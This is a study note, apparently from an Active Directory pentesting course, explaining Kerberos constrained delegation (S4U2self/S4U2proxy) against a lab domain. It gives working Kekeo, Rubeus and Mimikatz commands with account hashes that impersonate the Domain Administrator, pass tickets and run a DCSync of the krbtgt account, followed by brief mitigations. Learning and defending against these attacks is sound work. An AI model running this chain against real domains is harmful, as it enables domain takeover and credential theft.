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Constrained Delegation

General

  • When enabled on a service account, allows access only to specified services on specified computers as a user

  • Typical scenario:

    • User authenticates to a web service without Kerberos

    • Web services makes requests to database server to fetch results based on the user's authorization

  • To impersonate the user, Service for User (S4U) extension is used which provides two extensions

Service for User to Self (S4U2self) Extension

  • Allows service to obtain a forwardable TGS to itself on behalf of a user

  • Only needs the user principal name but NO PASSWORD

  • Service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION - T2A4D UserAccountControl attribute set

Service for User to Proxy (S4U2proxy) Extension

  • Allows service to obtain a TGS to a second service on behalf of a user

  • Uses the previously obtained TGS from S4U2self

  • Only allows access to services listed in the msDS-AllowedToDelegateTo attribute

  • Attribute contains list of SPNs to which the user tokens can be forwarded

Example Scenario: Constrained Delegation with Protocol Transition

  1. User (Joe) authenticates to web service running under websvc service account using non-Kerberos method

  2. Web service requests ticket from KDC for Joe without supplying a password, as the websvc account

  3. KDC checks the websvc userAccountControl value for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute

  4. If set, KDC checks that Joe's account is not blocked for delegation

  5. If OK, KDC returns forwardable ticket for Joe's account (S4U2self)

  6. Service passes ticket back to the KDC and requests a TGS for the CIFS/dcorp-mssql.dollarcorp.moneycorp.local service

  7. KDC checks the msDS-AllowedToDelegateTo field on the websvc account

  8. If SPN is listed there, KDC return TGS for dcorp-mssql (S4U2proxy)

  9. Web service can now authenticate to the CIFS on dcorp-mssql as Joe using the obtained TGS

Exploitation

For Users with Constrained Delegation

  • Requires access to the user/service account

  • If we can access it, we can access all the listed services in msDS-AllowedToDelegateTo attribute

  • Can access the services as ANY user

# Enumerate users with constrained delegation enabled
# PowerView 3.0
Get-DomainUser -TrustedToAuth

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo} -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Kekeo
# Request TGT for websvc user
tgt::ask /domain:dollarcorp.moneycorp.local /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f

# Request TGS using s4u in Kekeo and supplying the requested TGT
# Impersonate the Administrator Domain Admin
# We gain access to the CIFS service
tgs::s4u /tgt:tgt.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local

# Inject the ticket using mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt tgs.kirbi"'

# We can do both steps at the same time using Rubeus
# Request TGT and TGS in a single command
.\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /ptt

# We can now access the CIFS service on dcorp-mssql as the dcorp\Administrator DA user
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$

For Computers with Constrained Delegation

  • Delegation occurs not only for specific service

  • Occurs for ANY service running under the same service account

  • No validation for SPN specified

  • Requires hash of the machine account of the computer running with constrained delegation

# Enumerate computers with constrained delegation enabled
# PowerView 3.0
Get-DomainComputer -TrustedToAuth

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo} -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Kekeo
# Request TGT for machine account
tgt::ask /domain:dollarcorp.moneycorp.local /user:dcorp-adminsrv$ /rc4:5e77978a734e3a7f3895fb0fdbda3b96

# Using s4u, request TGS to access the LDAP service as the DA Adminstrator
tgs::s4u /tgt:tgt.kirbi /user:Administrator@dollarcorp.moneycorp.LOCAL /service:time/dcorp-dc.dollarcorp.moneycorp.local|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL

# Inject ticket into memory with Mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt tgs.kirbi"'

# Request TGS and TGT at the same time with Rubeus
.\Rubeus.exe s4u /user:dcorp-adminsrv$ /rc4:5e77978a734e3a7f3895fb0fdbda3b96 /impersonateuser:Administrator /msdsspn:"time/dcorp-dc.dollarcorp.moneycorp.local" /altservice:ldap /ptt

# Execute DCSync attack with new permissions
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Mitigation

  • Disable Kerberos delegation where possible

  • Limit DA/Admin logins to specific services

  • Set "Account is sensitive and cannot be delegated" for privileged accounts

Further Reading

PreviousAS-REP RoastingNextUnconstrained Delegation

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